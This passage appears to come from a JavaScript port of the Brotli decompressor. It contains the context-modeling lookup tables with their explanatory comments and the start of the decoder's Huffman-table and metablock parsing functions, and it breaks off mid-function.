in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Lookup table to map the previous two bytes to a context id.\n\n There are four different context modeling modes defined here:\n CONTEXT_LSB6: context id is the least significant 6 bits of the last byte,\n CONTEXT_MSB6: context id is the most significant 6 bits of the last byte,\n CONTEXT_UTF8: second-order context model tuned for UTF8-encoded text,\n CONTEXT_SIGNED: second-order context model tuned for signed integers.\n\n The context id for the UTF8 context model is calculated as follows. If p1\n and p2 are the previous two bytes, we calcualte the context as\n\n context = kContextLookup[p1] | kContextLookup[p2 + 256].\n\n If the previous two bytes are ASCII characters (i.e. < 128), this will be\n equivalent to\n\n context = 4 * context1(p1) + context2(p2),\n\n where context1 is based on the previous byte in the following way:\n\n 0 : non-ASCII control\n 1 : \\t, \\n, \\r\n 2 : space\n 3 : other punctuation\n 4 : \" '\n 5 : %\n 6 : ( < [ {\n 7 : ) > ] }\n 8 : , ; :\n 9 : .\n 10 : =\n 11 : number\n 12 : upper-case vowel\n 13 : upper-case consonant\n 14 : lower-case vowel\n 15 : lower-case consonant\n\n and context2 is based on the second last byte:\n\n 0 : control, space\n 1 : punctuation\n 2 : upper-case letter, number\n 3 : lower-case letter\n\n If the last byte is ASCII, and the second last byte is not (in a valid UTF8\n stream it will be a continuation byte, value between 128 and 191), the\n context is the same as if the second last byte was an ASCII control or space.\n\n If the last byte is a UTF8 lead byte (value >= 192), then the next byte will\n be a continuation byte and the context id is 2 or 3 depending on the LSB of\n the last byte and to a lesser extent on the second last byte if it is ASCII.\n\n If the last byte is a UTF8 continuation byte, the second last byte can be:\n - continuation byte: the next byte is probably ASCII or lead byte (assuming\n 4-byte UTF8 characters are rare) and the context id is 0 or 1.\n - lead byte (192 - 207): next byte is ASCII or lead byte, context is 0 or 1\n - lead byte (208 - 255): next byte is continuation byte, context is 2 or 3\n\n The possible value combinations of the previous two bytes, the range of\n context ids and the type of the next byte is summarized in the table below:\n\n |--------\\-----------------------------------------------------------------|\n | \\ Last byte |\n | Second \\---------------------------------------------------------------|\n | last byte \\ ASCII | cont. byte | lead byte |\n | \\ (0-127) | (128-191) | (192-) |\n |=============|===================|=====================|==================|\n | ASCII | next: ASCII/lead | not valid | next: cont. |\n | (0-127) | context: 4 - 63 | | context: 2 - 3 |\n |-------------|-------------------|---------------------|------------------|\n | cont. byte | next: ASCII/lead | next: ASCII/lead | next: cont. |\n | (128-191) | context: 4 - 63 | context: 0 - 1 | context: 2 - 3 |\n |-------------|-------------------|---------------------|------------------|\n | lead byte | not valid | next: ASCII/lead | not valid |\n | (192-207) | | context: 0 - 1 | |\n |-------------|-------------------|---------------------|------------------|\n | lead byte | not valid | next: cont. | not valid |\n | (208-) | | context: 2 - 3 | |\n |-------------|-------------------|---------------------|------------------|\n\n The context id for the signed context mode is calculated as:\n\n context = (kContextLookup[512 + p1] << 3) | kContextLookup[512 + p2].\n\n For any context modeling modes, the context ids can be calculated by |-ing\n together two lookups from one table using context model dependent offsets:\n\n context = kContextLookup[offset1 + p1] | kContextLookup[offset2 + p2].\n\n where offset1 and offset2 are dependent on the context mode.\n*/\n\nvar CONTEXT_LSB6 = 0;\nvar CONTEXT_MSB6 = 1;\nvar CONTEXT_UTF8 = 2;\nvar CONTEXT_SIGNED = 3;\n\n/* Common context lookup table for all context modes. */\nexports.lookup = new Uint8Array([\n /* CONTEXT_UTF8, last byte. */\n /* ASCII range. */\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 4, 0, 0, 4, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 8, 12, 16, 12, 12, 20, 12, 16, 24, 28, 12, 12, 32, 12, 36, 12,\n 44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 32, 32, 24, 40, 28, 12,\n 12, 48, 52, 52, 52, 48, 52, 52, 52, 48, 52, 52, 52, 52, 52, 48,\n 52, 52, 52, 52, 52, 48, 52, 52, 52, 52, 52, 24, 12, 28, 12, 12,\n 12, 56, 60, 60, 60, 56, 60, 60, 60, 56, 60, 60, 60, 60, 60, 56,\n 60, 60, 60, 60, 60, 56, 60, 60, 60, 60, 60, 24, 12, 28, 12, 0,\n /* UTF8 continuation byte range. */\n 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,\n 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,\n 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,\n 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,\n /* UTF8 lead byte range. */\n 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,\n 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,\n 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,\n 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,\n /* CONTEXT_UTF8 second last byte. */\n /* ASCII range. */\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1,\n 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1,\n 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 0,\n /* UTF8 continuation byte range. */\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n /* UTF8 lead byte range. */\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n /* CONTEXT_SIGNED, second last byte. */\n 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,\n 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,\n 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,\n 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,\n 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7,\n /* CONTEXT_SIGNED, last byte, same as the above values shifted by 3 bits. */\n 0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,\n 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,\n 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,\n 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,\n 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,\n 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,\n 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,\n 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,\n 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,\n 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,\n 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,\n 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 56,\n /* CONTEXT_LSB6, last byte. */\n 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,\n 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,\n 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,\n 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,\n 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,\n 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,\n 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,\n 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,\n 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,\n 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,\n 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,\n 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,\n 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,\n 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,\n 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,\n 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,\n /* CONTEXT_MSB6, last byte. */\n 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3,\n 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7,\n 8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11,\n 12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15,\n 16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19,\n 20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 23, 23, 23, 23,\n 24, 24, 24, 24, 25, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27,\n 28, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 31, 31, 31, 31,\n 32, 32, 32, 32, 33, 33, 33, 33, 34, 34, 34, 34, 35, 35, 35, 35,\n 36, 36, 36, 36, 37, 37, 37, 37, 38, 38, 38, 38, 39, 39, 39, 39,\n 40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 43,\n 44, 44, 44, 44, 45, 45, 45, 45, 46, 46, 46, 46, 47, 47, 47, 47,\n 48, 48, 48, 48, 49, 49, 49, 49, 50, 50, 50, 50, 51, 51, 51, 51,\n 52, 52, 52, 52, 53, 53, 53, 53, 54, 54, 54, 54, 55, 55, 55, 55,\n 56, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 58, 59, 59, 59, 59,\n 60, 60, 60, 60, 61, 61, 61, 61, 62, 62, 62, 62, 63, 63, 63, 63,\n /* CONTEXT_{M,L}SB6, second last byte, */\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n]);\n\nexports.lookupOffsets = new Uint16Array([\n /* CONTEXT_LSB6 */\n 1024, 1536,\n /* CONTEXT_MSB6 */\n 1280, 1536,\n /* CONTEXT_UTF8 */\n 0, 256,\n /* CONTEXT_SIGNED */\n 768, 512,\n]);\n","/* Copyright 2013 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*/\n\nvar BrotliInput = require('./streams').BrotliInput;\nvar BrotliOutput = require('./streams').BrotliOutput;\nvar BrotliBitReader = require('./bit_reader');\nvar BrotliDictionary = require('./dictionary');\nvar HuffmanCode = require('./huffman').HuffmanCode;\nvar BrotliBuildHuffmanTable = require('./huffman').BrotliBuildHuffmanTable;\nvar Context = require('./context');\nvar Prefix = require('./prefix');\nvar Transform = require('./transform');\n\nvar kDefaultCodeLength = 8;\nvar kCodeLengthRepeatCode = 16;\nvar kNumLiteralCodes = 256;\nvar kNumInsertAndCopyCodes = 704;\nvar kNumBlockLengthCodes = 26;\nvar kLiteralContextBits = 6;\nvar kDistanceContextBits = 2;\n\nvar HUFFMAN_TABLE_BITS = 8;\nvar HUFFMAN_TABLE_MASK = 0xff;\n/* Maximum possible Huffman table size for an alphabet size of 704, max code\n * length 15 and root table bits 8. */\nvar HUFFMAN_MAX_TABLE_SIZE = 1080;\n\nvar CODE_LENGTH_CODES = 18;\nvar kCodeLengthCodeOrder = new Uint8Array([\n 1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15,\n]);\n\nvar NUM_DISTANCE_SHORT_CODES = 16;\nvar kDistanceShortCodeIndexOffset = new Uint8Array([\n 3, 2, 1, 0, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2\n]);\n\nvar kDistanceShortCodeValueOffset = new Int8Array([\n 0, 0, 0, 0, -1, 1, -2, 2, -3, 3, -1, 1, -2, 2, -3, 3\n]);\n\nvar kMaxHuffmanTableSize = new Uint16Array([\n 256, 402, 436, 468, 500, 534, 566, 598, 630, 662, 694, 726, 758, 790, 822,\n 854, 886, 920, 952, 984, 1016, 1048, 1080\n]);\n\nfunction DecodeWindowBits(br) {\n var n;\n if (br.readBits(1) === 0) {\n return 16;\n }\n \n n = br.readBits(3);\n if (n > 0) {\n return 17 + n;\n }\n \n n = br.readBits(3);\n if (n > 0) {\n return 8 + n;\n }\n \n return 17;\n}\n\n/* Decodes a number in the range [0..255], by reading 1 - 11 bits. */\nfunction DecodeVarLenUint8(br) {\n if (br.readBits(1)) {\n var nbits = br.readBits(3);\n if (nbits === 0) {\n return 1;\n } else {\n return br.readBits(nbits) + (1 << nbits);\n }\n }\n return 0;\n}\n\nfunction MetaBlockLength() {\n this.meta_block_length = 0;\n this.input_end = 0;\n this.is_uncompressed = 0;\n this.is_metadata = false;\n}\n\nfunction DecodeMetaBlockLength(br) {\n var out = new MetaBlockLength; \n var size_nibbles;\n var size_bytes;\n var i;\n \n out.input_end = br.readBits(1);\n if (out.input_end && br.readBits(1)) {\n return out;\n }\n \n size_nibbles = br.readBits(2) + 4;\n if (size_nibbles === 7) {\n out.is_metadata = true;\n \n if (br.readBits(1) !== 0)\n throw new Error('Invalid reserved bit');\n \n size_bytes = br.readBits(2);\n if (size_bytes === 0)\n return out;\n \n for (i = 0; i < size_bytes; i++) {\n var next_byte = br.readBits(8);\n if (i + 1 === size_bytes && size_bytes > 1 && next_byte === 0)\n throw new Error('Invalid size byte');\n \n out.meta_block_length |= next_byte << (i * 8);\n }\n } else {\n for (i = 0; i < size_nibbles; ++i) {\n var next_nibble = br.readBits(4);\n if (i + 1 === size_nibbles && size_nibbles > 4 && next_nibble === 0)\n throw new Error('Invalid size nibble');\n \n out.meta_block_length |= next_nibble << (i * 4);\n }\n }\n \n ++out.meta_block_length;\n \n if (!out.input_end && !out.is_metadata) {\n out.is_uncompressed = br.readBits(1);\n }\n \n return out;\n}\n\n/* Decodes the next Huffman code from bit-stream. */\nfunction ReadSymbol(table, index, br) {\n var start_index = index;\n \n var nbits;\n br.fillBitWindow();\n index += (br.val_ >>> br.bit_pos_) & HUFFMAN_TABLE_MASK;\n nbits = table[index].bits - HUFFMAN_TABLE_BITS;\n if (nbits > 0) {\n br.bit_pos_ += HUFFMAN_TABLE_BITS;\n index += table[index].value;\n index += (br.val_ >>> br.bit_pos_) & ((1 << nbits) - 1);\n }\n br.bit_pos_ += table[index].bits;\n return table[index].value;\n}\n\nfunction ReadHuffmanCodeLengths(code_length_code_lengths, num_symbols, code_lengths, br) {\n var symbol = 0;\n var prev_code_len = kDefaultCodeLength;\n var repeat = 0;\n var repeat_code_len = 0;\n var space = 32768;\n \n var table = [];\n for (var i = 0; i < 32; i++)\n table.push(new HuffmanCode(0, 0));\n \n BrotliBuildHuffmanTable(table, 0, 5, code_length_code_lengths, CODE_LENGTH_CODES);\n\n while (symbol < num_symbols && space > 0) {\n var p = 0;\n var code_len;\n \n br.readMoreInput();\n br.fillBitWindow();\n p += (br.val_ >>> br.bit_pos_) & 31;\n br.bit_pos_ += table[p].bits;\n code_len = table[p].value & 0xff;\n if (code_len < kCodeLengthRepeatCode) {\n repeat = 0;\n code_lengths[symbol++] = code_len;\n if (code_len !== 0) {\n prev_code_len = code_len;\n space -= 32768 >> code_len;\n }\n } else {\n var extra_bits = code_len - 14;\n var old_repeat;\n var repeat_delta;\n var new_len = 0;\n if (code_len === kCodeLengthRepeatCode) {\n new_len = prev_code_len;\n }\n if (repeat_code_len !== new_len) {\n repeat = 0;\n repeat_code_len = new_len;\n }\n old_repeat = repeat;\n if (repeat > 0) {\n repeat -= 2;\n repeat <<= extra_bits;\n }\n repeat += br.readBits(extra_bits) + 3;\n repeat_delta = repeat - old_repeat;\n if (symbol + repeat_delta > num_symbols) {\n throw new Error('[ReadHuffmanCodeLengths] symbol + repeat_delta > num_symbols');\n }\n \n for (var x = 0; x < repeat_delta; x++)\n code_lengths[symbol + x] = repeat_code_len;\n \n symbol += repeat_delta;\n \n if (repeat_code_len !== 0) {\n space -= repeat_delta << (15 - repeat_code_len);\n }\n }\n }\n if (space !== 0) {\n throw new Error(\"[ReadHuffmanCodeLengths] space = \" + space);\n }\n \n for (; symbol < num_symbols; symbol++)\n code_lengths[symbol] = 0;\n}\n\nfunction ReadHuffmanCode(alphabet_size, tables, table, br) {\n var table_size = 0;\n var simple_code_or_skip;\n var code_lengths = new Uint8Array(alphabet_size);\n \n br.readMoreInput();\n \n /* simple_code_or_skip is used as follows:\n 1 for simple code;\n 0 for no skipping, 2 skips 2 code lengths, 3 skips 3 code lengths */\n simple_code_or_skip = br.readBits(2);\n if (simple_code_or_skip === 1) {\n /* Read symbols, codes & code lengths directly. */\n var i;\n var max_bits_counter = alphabet_size - 1;\n var max_bits = 0;\n var symbols = new Int32Array(4);\n var num_symbols = br.readBits(2) + 1;\n while (max_bits_counter) {\n max_bits_counter >>= 1;\n ++max_bits;\n }\n\n for (i = 0; i < num_symbols; ++i) {\n symbols[i] = br.readBits(max_bits) % alphabet_size;\n code_lengths[symbols[i]] = 2;\n }\n code_lengths[symbols[0]] = 1;\n switch (num_symbols) {\n case 1:\n break;\n case 3:\n if ((symbols[0] === symbols[1]) ||\n (symbols[0] === symbols[2]) ||\n (symbols[1] === symbols[2])) {\n throw new Error('[ReadHuffmanCode] invalid symbols');\n }\n break;\n case 2:\n if (symbols[0] === symbols[1]) {\n throw new Error('[ReadHuffmanCode] invalid symbols');\n }\n \n code_lengths[symbols[1]] = 1;\n break;\n case 4:\n if ((symbols[0] === symbols[1]) ||\n (symbols[0] === symbols[2]) ||\n (symbols[0] === symbols[3]) ||\n (symbols[1] === symbols[2]) ||\n (symbols[1] === symbols[3]) ||\n (symbols[2] === symbols[3])) {\n throw new Error('[ReadHuffmanCode] invalid symbols');\n }\n \n if (br.readBits(1)) {\n code_lengths[symbols[2]] = 3;\n code_lengths[symbols[3]] = 3;\n } else {\n code_lengths[symbols[0]] = 2;\n }\n break;\n }\n } else { /* Decode Huffman-coded code lengths. */\n var i;\n var code_length_code_lengths = new Uint8Array(CODE_LENGTH_CODES);\n var space = 32;\n var num_codes = 0;\n /* Static Huffman code for the code length code lengths */\n var huff = [\n new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2), \n new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 1),\n new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2), \n new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 5)\n ];\n for (i = simple_code_or_skip; i < CODE_LENGTH_CODES && space > 0; ++i) {\n var code_len_idx = kCodeLengthCodeOrder[i];\n var p = 0;\n var v;\n br.fillBitWindow();\n p += (br.val_ >>> br.bit_pos_) & 15;\n br.bit_pos_ += huff[p].bits;\n v = huff[p].value;\n code_length_code_lengths[code_len_idx] = v;\n if (v !== 0) {\n space -= (32 >> v);\n ++num_codes;\n }\n }\n \n if (!(num_codes === 1 || space === 0))\n throw new Error('[ReadHuffmanCode] invalid num_codes or space');\n \n ReadHuffmanCodeLengths(code_length_code_lengths, alphabet_size, code_lengths, br);\n }\n \n table_size = BrotliBuildHuffmanTable(tables, table, HUFFMAN_TABLE_BITS, code_lengths, alphabet_size);\n \n if (table_size === 0) {\n throw new Error(\"[ReadHuffmanCode] BuildHuffmanTable failed: \");\n }\n \n return table_size;\n}\n\nfunction ReadBlockLength(table, index, br) {\n var code;\n var nbits;\n code = ReadSymbol(table, index, br);\n nbits = Prefix.kBlockLengthPrefixCode[code].nbits;\n return Prefix.kBlockLengthPrefixCode[code].offset + br.readBits(nbits);\n}\n\nfunction TranslateShortCodes(code, ringbuffer, index) {\n var val;\n if (code < NUM_DISTANCE_SHORT_CODES) {\n index += kDistanceShortCodeIndexOffset[code];\n index &= 3;\n val = ringbuffer[index] + kDistanceShortCodeValueOffset[code];\n } else {\n val = code - NUM_DISTANCE_SHORT_CODES + 1;\n }\n return val;\n}\n\nfunction MoveToFront(v, index) {\n var value = v[index];\n var i = index;\n for (; i; --i) v[i] = v[i - 1];\n v[0] = value;\n}\n\nfunction InverseMoveToFrontTransform(v, v_len) {\n var mtf = new Uint8Array(256);\n var i;\n for (i = 0; i < 256; ++i) {\n mtf[i] = i;\n }\n for (i = 0; i < v_len; ++i) {\n var index = v[i];\n v[i] = mtf[index];\n if (index) MoveToFront(mtf, index);\n }\n}\n\n/* Contains a collection of huffman trees with the same alphabet size. */\nfunction HuffmanTreeGroup(alphabet_size, num_htrees) {\n this.alphabet_size = alphabet_size;\n this.num_htrees = num_htrees;\n this.codes = new Array(num_htrees + num_htrees * kMaxHuffmanTableSize[(alphabet_size + 31) >>> 5]); \n this.htrees = new Uint32Array(num_htrees);\n}\n\nHuffmanTreeGroup.prototype.decode = function(br) {\n var i;\n var table_size;\n var next = 0;\n for (i = 0; i < this.num_htrees; ++i) {\n this.htrees[i] = next;\n table_size = ReadHuffmanCode(this.alphabet_size, this.codes, next, br);\n next += table_size;\n }\n};\n\nfunction DecodeContextMap(context_map_size, br) {\n var out = { num_htrees: null, context_map: null };\n var use_rle_for_zeros;\n var max_run_length_prefix = 0;\n var table;\n var i;\n \n br.readMoreInput();\n var num_htrees = out.num_htrees = DecodeVarLenUint8(br) + 1;\n\n var context_map = out.context_map = new Uint8Array(context_map_size);\n if (num_htrees <= 1) {\n return out;\n }\n\n use_rle_for_zeros = br.readBits(1);\n if (use_rle_for_zeros) {\n max_run_length_prefix = br.readBits(4) + 1;\n }\n \n table = [];\n for (i = 0; i < HUFFMAN_MAX_TABLE_SIZE; i++) {\n table[i] = new HuffmanCode(0, 0);\n }\n \n ReadHuffmanCode(num_htrees + max_run_length_prefix, table, 0, br);\n \n for (i = 0; i < context_map_size;) {\n var code;\n\n br.readMoreInput();\n code = ReadSymbol(table, 0, br);\n if (code === 0) {\n context_map[i] = 0;\n ++i;\n } else if (code <= max_run_length_prefix) {\n var reps = 1 + (1 << code) + br.readBits(code);\n while (--reps) {\n if (i >= context_map_size) {\n throw new Error(\"[DecodeContextMap] i >= context_map_size\");\n }\n context_map[i] = 0;\n ++i;\n }\n } else {\n context_map[i] = code - max_run_length_prefix;\n ++i;\n }\n }\n if (br.readBits(1)) {\n InverseMoveToFrontTransform(context_map, context_map_size);\n }\n \n return out;\n}\n\nfunction DecodeBlockType(max_block_type, trees, tree_type, block_types, ringbuffers, indexes, br) {\n var ringbuffer = tree_type * 2;\n var index = tree_type;\n var type_code = ReadSymbol(trees, tree_type * HUFFMAN_MAX_TABLE_SIZE, br);\n var block_type;\n if (type_code === 0) {\n block_type = ringbuffers[ringbuffer + (indexes[index] & 1)];\n } else if (type_code === 1) {\n block_type = ringbuffers[ringbuffer + ((indexes[index] - 1) & 1)] + 1;\n } else {\n block_type = type_code - 2;\n }\n if (block_type >= max_block_type) {\n block_type -= max_block_type;\n }\n block_types[tree_type] = block_type;\n ringbuffers[ringbuffer + (indexes[index] & 1)] = block_type;\n ++indexes[index];\n}\n\nfunction CopyUncompressedBlockToOutput(output, len, pos, ringbuffer, ringbuffer_mask, br) {\n var rb_size = ringbuffer_mask + 1;\n var rb_pos = pos & ringbuffer_mask;\n var br_pos = br.pos_ & BrotliBitReader.IBUF_MASK;\n var nbytes;\n\n /* For short lengths copy byte-by-byte */\n if (len < 8 || br.bit_pos_ + (len << 3) < br.bit_end_pos_) {\n while (len-- > 0) {\n br.readMoreInput();\n ringbuffer[rb_pos++] = br.readBits(8);\n if (rb_pos === rb_size) {\n output.write(ringbuffer, rb_size);\n rb_pos = 0;\n }\n }\n return;\n }\n\n if (br.bit_end_pos_ < 32) {\n throw new Error('[CopyUncompressedBlockToOutput] br.bit_end_pos_ < 32');\n }\n\n /* Copy remaining 0-4 bytes from br.val_ to ringbuffer. */\n while (br.bit_pos_ < 32) {\n ringbuffer[rb_pos] = (br.val_ >>> br.bit_pos_);\n br.bit_pos_ += 8;\n ++rb_pos;\n --len;\n }\n\n /* Copy remaining bytes from br.buf_ to ringbuffer. */\n nbytes = (br.bit_end_pos_ - br.bit_pos_) >> 3;\n if (br_pos + nbytes > BrotliBitReader.IBUF_MASK) {\n var tail = 